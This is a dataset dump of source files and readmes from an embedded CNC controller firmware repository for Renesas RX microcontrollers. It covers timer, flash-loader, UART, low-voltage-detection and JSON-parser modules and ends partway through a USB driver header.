g_mtu_tgr_callbacks[channel][MTU_TIMER_D] = 1; // Do the callback for this interrupt.\n }\n }\n\n *my_handle->regs.tier |= MTU_TGIED; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->capture_d.actions) && (MTU_CLR_TGRD == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n g_mtu_channel_mode[channel] = MTU_MODE_INPUT_CAPTURE; // Tag the channel is in use for input capture.\n g_num_channels_in_use++; // Add this channel to the count.\n *g_mtu_handles[channel]->p_callback = pcallback;\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n\n return MTU_SUCCESS; // Ready to start capture operation now.\n}\n#endif\n/* end of function R_MTU_Capture_Open(). */\n" }, { "alpha_fraction": 0.5676249265670776, "alphanum_fraction": 0.5778506398200989, "avg_line_length": 38.869232177734375, "blob_id": "9ddffd322fb1d6628ac54e3d63f97c7c101645f0", "content_id": "b095f428aaffadf236faf4542b90b0a09e61fd45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5183, "license_type": "no_license", "max_line_length": 80, "num_lines": 130, "path": "/r_flash_loader_rx/src/r_fl_types.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name\t : r_fl_types.h\n* Version : 3.0 \n* Description : Defines Flash Loader data structures..\n******************************************************************************/\n/*****************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 22.02.2012 3.00 First Release. These structures were originally\n* in downloader.h. They were moved here to make\n* them easier to modify or add new ones. They \n* were also slightly changed to match CS v4.0.\n* (introduced in v3.0)\n******************************************************************************/\n\n#ifndef FL_TYPES\n#define FL_TYPES\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Fixed width types support. */\n#include <stdint.h>\n/* Used for bool. */\n#include <stdbool.h>\n/* Flash Loader configuration options. */\n#include \"r_flash_loader_rx_config.h\"\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\n\n/* Holds all FlashLoader Downloader state machine states */\ntypedef enum \n{\n FL_STATE_START,\n FL_STATE_INIT_1,\n FL_STATE_INIT_2,\n FL_STATE_OP_NEW_IMAGE,\n FL_STATE_NEW_IMAGE,\n FL_STATE_NEW_IMAGE_ERASING,\n FL_STATE_RETRY_INIT,\n FL_STATE_RETRY_GET_BLOCK,\n FL_STATE_RETRY_FINISH,\n FL_STATE_RECEIVING_INIT,\n FL_STATE_RECEIVING_HEADER,\n FL_STATE_RECEIVING_DATA,\n FL_STATE_STORING_DATA,\n FL_STATE_RECEIVE_NEXT,\n FL_STATE_OP_ERASE_BLOCK_START,\n FL_STATE_OP_ERASE_BLOCK_RUNNING\n} fl_receive_states_t;\n\n/* The 'pack' option is used here to make sure that the toolchain does not put\n any padding in between the structure entries. Doing this causes problems\n when dealing with communication structures. */\n#pragma pack\n\n/* Structure of FlashLoader Load Image Header */\ntypedef struct \n{\n /* To confirm valid header */\n uint8_t valid_mask;\n /* Version major */\n uint8_t version_major;\n /* Version middle */\n uint8_t version_middle;\n /* Version minor */\n uint8_t version_minor;\n /* Version compilation */\n uint8_t version_comp;\n /* CRC-16 CCITT of image as in MCU flash */\n uint16_t raw_crc;\n} fl_image_header_t;\n\n/* Structure of FlashLoader Block Header */\ntypedef struct \n{\n /* To confirm valid header */\n uint8_t valid_mask;\n /* Packet number */\n uint16_t sequence_ID;\n /* Address in MCU flash */\n uint32_t flash_address;\n /* Number of bytes of data */\n uint32_t data_size;\n /* CRC-16 CCITT of data */\n uint16_t data_crc;\n /* Address in SPI of next BlockHeader */\n uint32_t next_block_address;\n /* Then comes the actual data */\n} fl_block_header_t;\n\n/* Turn off the pack option and put back to default. */\n#pragma packoption\n\n/* Structure for defining FL Load Image storage area. */\ntypedef struct\n{\n /* The minimum erase size in bytes. */\n uint32_t erase_size;\n /* The maximum bytes that can be programmed at once. */\n uint32_t max_program_size;\n /* Addresses of FL Load Images. '+1' is used because the last entry in the\n array is the max address for load image data. */\n uint32_t addresses[FL_CFG_MEM_NUM_LOAD_IMAGES+1];\n} fl_li_storage_t;\n\n#endif /* FL_TYPES */\n" }, { "alpha_fraction": 0.5861994624137878, "alphanum_fraction": 0.59974205493927, "avg_line_length": 57.150001525878906, "blob_id": "4999f9d0bc3f209ea746f3d25a77c6b8cf63551d", "content_id": "6e31c7c5e15f9190ce9fcd3a961781bc652b1e50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4652, "license_type": "no_license", "max_line_length": 120, "num_lines": 80, "path": "/r_config/r_mtu_rx_config.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_mtu_rx_config.h\n* Description : Common configuration file for all FIT MTU modules.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 23.09.2014 1.00 First Release\n***********************************************************************************************************************/\n#ifndef MTU_CONFIG_HEADER_FILE\n#define MTU_CONFIG_HEADER_FILE\n\n#include \"platform.h\"\n\n/***********************************************************************************************************************\nConfiguration Options\n***********************************************************************************************************************/\n/* Checking of arguments passed to MTU API functions can be enable or disabled.\n * Disabling argument checking is provided for systems that absolutely require faster and smaller code.\n * By default the module is configured to use the setting of the system-wide BSP_CFG_PARAM_CHECKING_ENABLE macro.\n * This can be overridden for the local module by redefining MTU_CFG_PARAM_CHECKING_ENABLE.\n * To control parameter checking locally, set MTU_CFG_PARAM_CHECKING_ENABLE to 1 to enable it,\n * otherwise set to 0 skip checking.\n */\n#define MTU_CFG_PARAM_CHECKING_ENABLE (BSP_CFG_PARAM_CHECKING_ENABLE)\n\n#define MTU_CFG_REQUIRE_LOCK (1)\n\n/* Enable the MTU channels to use in this build. (0) = not used. (1) = used. */\n#define MTU_CFG_USE_CH0 (1)\n#define MTU_CFG_USE_CH1 (0)\n#define MTU_CFG_USE_CH2 (0)\n#ifndef BSP_MCU_RX110\n#define MTU_CFG_USE_CH3 (0)\n#define MTU_CFG_USE_CH4 (0)\n#endif\n\n/* Code for unused MTU functions can be excluded from the build to reduce size. (0) = not used. (1) = used. */\n#define MTU_CFG_USE_TIMER (1)\n#define MTU_CFG_USE_CAPTURE (0)\n#define MTU_CFG_USE_PWM (0)\n\n/* Set interrupt priority levels for each channel present.\n * Priority is shared by all interrupt sources in a channel.\n * Values must be in the range 0 (interrupt disabled) to 15 (highest)*/\n#define MTU_IR_PRIORITY_CHAN0 (3)\n#define MTU_IR_PRIORITY_CHAN1 (0)\n#define MTU_IR_PRIORITY_CHAN2 (0)\n#define MTU_IR_PRIORITY_CHAN3 (0)\n#define MTU_IR_PRIORITY_CHAN4 (0)\n#define MTU_IR_PRIORITY_CHAN5 (0)\n\n/* Set the MTU input capture noise filter clock for each channels to used for input capture.\n * See r_mtu_timer_rx_if.h for allowable selections. The following settings are default and\n * should be changed as needed. The available settings are defined in \"r_mtu_timer_rx_if.h\" */\n#define MTU_CFG_FILT_CHAN0 (MTU_FILTER_PCLK_DIV_1)\n#define MTU_CFG_FILT_CHAN1 (MTU_FILTER_PCLK_DIV_1)\n#define MTU_CFG_FILT_CHAN2 (MTU_FILTER_PCLK_DIV_1)\n#define MTU_CFG_FILT_CHAN3 (MTU_FILTER_PCLK_DIV_1)\n#define MTU_CFG_FILT_CHAN4 (MTU_FILTER_PCLK_DIV_1)\n\n\n/**********************************************************************************************************************/\n#endif /* MTU_CONFIG_HEADER_FILE */\n" }, { "alpha_fraction": 0.6251661777496338, "alphanum_fraction": 0.6437749266624451, "avg_line_length": 21.787878036499023, "blob_id": "fc2a57f4afb360e1b380af30b08701a13078e94e", "content_id": "4e5c7ed2bcf9658e7e6ef082f69c62f8dfc264b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 2257, "license_type": "no_license", "max_line_length": 82, "num_lines": 99, "path": "/r_sci_async_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS DRIVER FOR MORE INFORMATION\n\nr_sci_async_rx\n==============\n\nDocument Number \n---------------\nN/A\n\nVersion\n-------\nv2.12\n\nOverview\n--------------------------------------------------------------------------------\nThe r_sci_async_rx module is a multi-channel interrupt-driven asynchronous \n(UART) driver for the SCIc,d,e and f peripherals. The API includes functions to\ninitialize a channel and to send and receive data. A special control function is \navailable for taking actions such as issuing a break signal or enabling noise \ncancellation. The driver supports all channels available on the mcu. The driver \ncan be reduced in size by removing code used for parameter checking or for \nunused channels. These configuration options can be found in \"r_config\\\nr_sci_async_rx_config.h\". An original copy of the configuration file is stored in \n\"r_sci_async_rx\\ref\\r_sci_async_rx_config_reference.h\".\n\n\nFeatures\n--------\n* Simultaneous operation of up to 13 channels.\n* Queueing of incoming and outgoing data.\n* Interrupt driven.\n\n\nSupported MCUs\n--------------\n* RX111 Group\n* RX210 Group\n* RX63N Group\n* RX631 Group\n\n\nBoards Tested On\n----------------\n* RSKRX111\n* RSKRX210\n* YRDKRX63N\n\n\nLimitations\n-----------\nN/A\n\n\nPeripherals Used Directly\n-------------------------\n* SCIc, d, e, or f\n\n\nRequired Packages\n-----------------\n* r_bsp v2.10\n* r_byteq v1.0\n\n\nHow to add to your project\n--------------------------\n* Add the r_sci_async_rx and r_config folders to your project.\n* Add a project include path for the 'r_sci_async_rx' directory. \n* Add a project include path for the 'r_sci_async_rx\\src' directory.\n* Add a project include path for the 'r_config' directory.\n* Open \"r_config\\r_sci_async_rx_config.h\" file and configure the driver for your \n project.\n* Add a #include for r_sci_async_rx_if.h to any source files that need to use \n the API functions.\n\n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n\n\nFile Structure\n--------------\nr_sci_async_rx\n| readme.txt\n| r_sci_async_rx_if.h\n|\n+---doc\n| R01AN1667EU0200_RX.pdf\n|\n+---ref\n| r_sci_async_rx_config_reference.h\n|\n+---src\n r_sci_async_rx.c\n r_sci_async_rx_private.h\n \nr_config\n r_sci_async_rx_config.h\n\n" }, { "alpha_fraction": 0.6975352168083191, "alphanum_fraction": 0.7151408195495605, "avg_line_length": 30.910112380981445, "blob_id": "a9d68843028fac23957780ce49afdc6b46f604fe", "content_id": "245247d5b9f621d77724300b83820a8d5d4a2a89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2840, "license_type": "no_license", "max_line_length": 91, "num_lines": 89, "path": "/src/cnc/system.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * system.c - general hardware support functions\n * Part of TinyG project\n *\n * Copyright (c) 2011 - 2012 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n * ------\n * Notes:\n *\t- add full interrupt tables and dummy interrupt routine (maybe)\n *\t- add crystal oscillator failover\n *\t- add watchdog timer functions\n *\n */\n\n#include <stdio.h>\n#include <stddef.h> \n\n\n#include \"tinyg.h\"\n#include \"system.h\"\n\n\n/*\n * sys_init() - lowest level hardware init\n */\n\nvoid sys_init() \n{\n\n}\n\nvoid sys_port_bindings(float hw_version)\n{\n\n}\n\nuint8_t sys_read_calibration_byte(uint8_t index)\n{ \n\treturn 0;\n}\n\n/*\n * sys_get_id() - get a human readable signature\n *\n *\tProduces a unique deviceID based on the factory calibration data. Format is:\n *\t\t123456-ABC\n *\n *\tThe number part is a direct readout of the 6 digit lot number\n *\tThe alpha is the lo 5 bits of wafer number and XY coords in printable ASCII\n *\tRefer to NVM_PROD_SIGNATURES_t in iox192a3.h for details.\n */\nenum { \n\tLOTNUM0=8, // Lot Number Byte 0, ASCII \n\tLOTNUM1, // Lot Number Byte 1, ASCII \n\tLOTNUM2, // Lot Number Byte 2, ASCII \n\tLOTNUM3, // Lot Number Byte 3, ASCII \n\tLOTNUM4, // Lot Number Byte 4, ASCII \n\tLOTNUM5, // Lot Number Byte 5, ASCII \n\tWAFNUM =16, // Wafer Number \n\tCOORDX0=18, // Wafer Coordinate X Byte 0 \n\tCOORDX1, // Wafer Coordinate X Byte 1 \n\tCOORDY0, // Wafer Coordinate Y Byte 0 \n\tCOORDY1, // Wafer Coordinate Y Byte 1 \n}; \n\nvoid sys_get_id(char *id)\n{\n\n}\n" }, { "alpha_fraction": 0.6965726017951965, "alphanum_fraction": 0.7247983813285828, "avg_line_length": 22.069766998291016, "blob_id": "9f91980a8d73030372124082675cb83fb631a5f5", "content_id": "3f683cf1abcb03a54c81ea2e44ba9a7ac57a31fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 992, "license_type": "no_license", "max_line_length": 38, "num_lines": 43, "path": "/src/cnc/macros/macros.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * macros.h\n *\n * Created on: 13/02/2016\n * Author: leocafonso\n */\n#ifndef CNC_MACROS_MACROS_H_\n#define CNC_MACROS_MACROS_H_\n\n#include \"tinyg.h\"\t\t\t// #1\n#include \"config.h\"\t\t\t// #2\n#include \"eeprom.h\"\n\n#define ZERO_PECA_FLAG 0x01\n#define ZERO_MAQ_FLAG 0x02\n\nextern stat_t (*macro_func_ptr)(void);\nextern stat_t (*macro_buffer)(void);\nextern int8_t macro;\nextern float jogMaxDistance[3];\nextern uint8_t state;\nextern uint32_t linenumMacro;\nextern float *velocidadeJog;\nextern ut_config_name_ox tempoDwell;\nextern bool xMacroArcoOkSync;\nextern float Xcord,Ycord;\nextern uint32_t zero_flags;\n\nstat_t M5_Macro(void);\nstat_t M4_Macro(void);\nstat_t M3_Macro(void);\nstat_t G10_Macro(void);\nstat_t ZerarMaquina_Macro(void);\nstat_t ZerarPeca_Macro(void);\nstat_t homming_Macro(void);\nstat_t jog_Macro(void);\nstat_t RunningInicial_Macro(void);\nstat_t feedRateOverride_Macro(void);\nstat_t arcoOK_Macro(void);\nstat_t limit_test(void);\nvoid macroInitVar(void);\n\n#endif /* CNC_MACROS_MACROS_H_ */\n" }, { "alpha_fraction": 0.7164108753204346, "alphanum_fraction": 0.7242030501365662, "avg_line_length": 35.19658279418945, "blob_id": "f90b65e78d66e620ce817f24f8950c39f69d73a3", "content_id": "80dfe4756e158e1facda7c333a8afc06cf5d26fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4235, "license_type": "no_license", "max_line_length": 93, "num_lines": 117, "path": "/src/cnc/json_parser.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * json_parser.h - JSON parser and JSON support for TinyG\n * This file is part of the TinyG project\n *\n * Copyright (c) 2011 - 2014 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#ifndef _JSON_PARSER_H_ONCE\n#define _JSON_PARSER_H_ONCE\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n/**** Configs, Definitions and Structures ****/\n\n/* JSON array definitions / revisions */\n// for now there is only one JSON array in use - the footer\n// if you add these make sure there are no collisions w/present or past numbers\n\n#define FOOTER_REVISION 1\n\n#define JSON_OUTPUT_STRING_MAX (OUTPUT_BUFFER_LEN)\n\nenum jsonVerbosity {\n\tJV_SILENT = 0,\t\t\t\t\t// no response is provided for any command\n\tJV_FOOTER,\t\t\t\t\t\t// returns footer only (no command echo, gcode blocks or messages)\n\tJV_MESSAGES,\t\t\t\t\t// returns footer, messages (exception and gcode messages)\n\tJV_CONFIGS,\t\t\t\t\t\t// returns footer, messages, config commands\n\tJV_LINENUM,\t\t\t\t\t\t// returns footer, messages, config commands, gcode line numbers if present\n\tJV_VERBOSE\t\t\t\t\t\t// returns footer, messages, config commands, gcode blocks\n};\n\nenum jsonFormats {\t\t\t\t\t// json output print modes\n\tJSON_NO_PRINT = 0,\t\t\t\t// don't print anything if you find yourself in JSON mode\n\tJSON_OBJECT_FORMAT,\t\t\t\t// print just the body as a json object\n\tJSON_RESPONSE_FORMAT\t\t\t// print the header/body/footer as a response object\n};\n\nenum jsonSyntaxMode {\n\tJSON_SYNTAX_RELAXED = 0,\t\t// Does not require quotes on names\n\tJSON_SYNTAX_STRICT\t\t\t\t// requires quotes on names\n};\n\ntypedef struct jsSingleton {\n\n\t/*** config values (PUBLIC) ***/\n\tuint8_t json_verbosity;\t\t\t// see enum in this file for settings\n\tuint8_t json_footer_depth;\t\t// 0=footer is peer to response 'r', 1=child of response 'r'\n//\tuint8_t json_footer_style;\t\t// select footer style\n\tuint8_t json_syntax;\t\t\t// 0=relaxed syntax, 1=strict syntax\n\n\tuint8_t echo_json_footer;\t\t// flags for JSON responses serialization\n\tuint8_t echo_json_messages;\n\tuint8_t echo_json_configs;\n\tuint8_t echo_json_linenum;\n\tuint8_t echo_json_gcode_block;\n\n\t/*** runtime values (PRIVATE) ***/\n\n} jsSingleton_t;\n\n/**** Externs - See report.c for allocation ****/\n\nextern jsSingleton_t js;\n\n/**** Function Prototypes ****/\n\nvoid json_parser(char_t *str);\nuint16_t json_serialize(nvObj_t *nv, char_t *out_buf, uint16_t size);\nvoid json_print_object(nvObj_t *nv);\nvoid json_print_response(uint8_t status);\nvoid json_print_list(stat_t status, uint8_t flags);\n\nstat_t json_set_jv(nvObj_t *nv);\n\n#ifdef __TEXT_MODE\n\n\tvoid js_print_ej(nvObj_t *nv);\n\tvoid js_print_jv(nvObj_t *nv);\n\tvoid js_print_js(nvObj_t *nv);\n\tvoid js_print_fs(nvObj_t *nv);\n\n#else\n\n\t#define js_print_ej tx_print_stub\n\t#define js_print_jv tx_print_stub\n\t#define js_print_js tx_print_stub\n\t#define js_print_fs tx_print_stub\n\n#endif // __TEXT_MODE\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // End of include guard: JSON_PARSER_H_ONCE\n" }, { "alpha_fraction": 0.5532030463218689, "alphanum_fraction": 0.6210640668869019, "avg_line_length": 19.422222137451172, "blob_id": "ed000dd28e7555481eac95d391e559f5f3001de2", "content_id": "446c063436b11c3221ffa59b82e83a7646ca0ae0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1842, "license_type": "no_license", "max_line_length": 118, "num_lines": 90, "path": "/r_lvd_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nr_lvd_rx\n=========\n\nDocument Number \n---------------\nR01AN1726EU0150\n\nVersion\n-------\nv1.50\n\nOverview\n--------\nThis module provides an interface to configure the Low Voltage Detection Circuit \non the RX110, RX111, RX113, RX210, RX231, RX63N, RX64M, and RX71M.\n\nFeatures\n--------\n* Configure Low Voltage Detection circuit\n* Use to generate NMI, Interrupt, Reset or Polling.\n* Supports multiple channels\n\nSupported MCUs\n--------------\n* RX110 Group\n* RX111 Group\n* RX113 Group\n* RX210 Group\n* RX231 Group\n* RX63N Group\n* RX64M Group\n* RX71M Group\n\nBoards Tested On\n----------------\n* RSKRX110\n* RSKRX111\n* RSKRX113\n* RSKRX210\n* RSKRX231\n* RSKRX63N\n* RSKRX64M\n* RSKRX71M\n\nLimitations\n-----------\n* None\n\nPeripherals Used Directly\n-------------------------\n* LVD\n\nRequired Packages\n-----------------\n* r_bsp_rx v2.30 For RX111, RX210, RX63N\n* r_bsp_rx v2.50 For RX110\n* r_bsp_rx v2.70 For RX113\n* r_bsp_rx v2.80 For RX64M, 71M\n* r_bsp_rx v2.90 For RX231\n\nHow to add to your project\n--------------------------\n* Add src\\r_lvd_rx.c to your project.\n* Add an include path to the 'r_lvd_rx' directory. \n* Add an include path to the 'r_lvd_rx\\src' directory.\n* Copy the reference configuration file 'r_lvd_rx_config_reference.h' to your project and rename it r_lvd_rx_config.h.\n* Configure middleware for your system through just copied r_lvd_config.h.\n* Add a #include for r_lvd_rx_if.h to any source files that need to use the API functions.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v2.02\n\nFile Structure\n--------------\nr_lvd_rx\n| readme.txt\n| r_lvd_rx_if.h\n|\n+---doc\n| r01an1726eu0150_rx.pdf\n|\n+---ref\n| r_lvd_rx_config_reference.h\n|\n+---src\n r_lvd_rx.c\n r_lvd_rx.h\n\n\n\n\n" }, { "alpha_fraction": 0.535186767578125, "alphanum_fraction": 0.5511149764060974, "avg_line_length": 51.30303192138672, "blob_id": "4e7be3d4050ae01f288da51d537e50404a32c8d6", "content_id": "b85728d7fff5103a940e5efd9a09355978e61cf4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3453, "license_type": "no_license", "max_line_length": 81, "num_lines": 66, "path": "/r_flash_loader_rx/src/r_fl_app_header.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_app_header.c\n* Version : 3.00\n* Description : Defines Application Header to be used with FlashLoader. The\n* 2nd and 3rd entries of the g_fl_cur_app_header structure will\n* change with each application.\n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 02.03.2012 3.00 Compliant with CS v4.0. Added description for\n* setting address of g_fl_cur_app_header.\n******************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Flash Loader project includes. */\n#include \"r_fl_includes.h\"\n\n/******************************************************************************\nExported global variables (to be accessed by other files)\n******************************************************************************/\n/* This directive sets the address of g_fl_cur_app_header. The address at the\n end of this directive (0xFFFFFE00 by default) should be the same value as\n the definition of FL_CUR_APP_HEADER_ADDR in r_fl_app_header.h. If you change\n one you must change the other too. */\n#pragma section C APPHEADER\n\nconst fl_image_header_t g_fl_cur_app_header = {\n /* To confirm valid header */\n\tFL_LI_VALID_MASK,\n /* Version major */\n 1,\n /* Version middle */\n 5,\n /* Version minor */\n 0,\n /* Version compilation */\n 15,\n /* CRC-16 CCITT of image as in MCU flash */\n 0xFFFF\n};\n\n" }, { "alpha_fraction": 0.4713978171348572, "alphanum_fraction": 0.4821638762950897, "avg_line_length": 36.85546112060547, "blob_id": "64a11e3523e21c840ba09c6d1678dc33435552f2", "content_id": "618da25b51e6ff5ebe77f1b2be0211e5df6f90b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 45049, "license_type": "no_license", "max_line_length": 120, "num_lines": 1190, "path": "/r_usb_basic/src/driver/host/r_usb_hdriver.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF 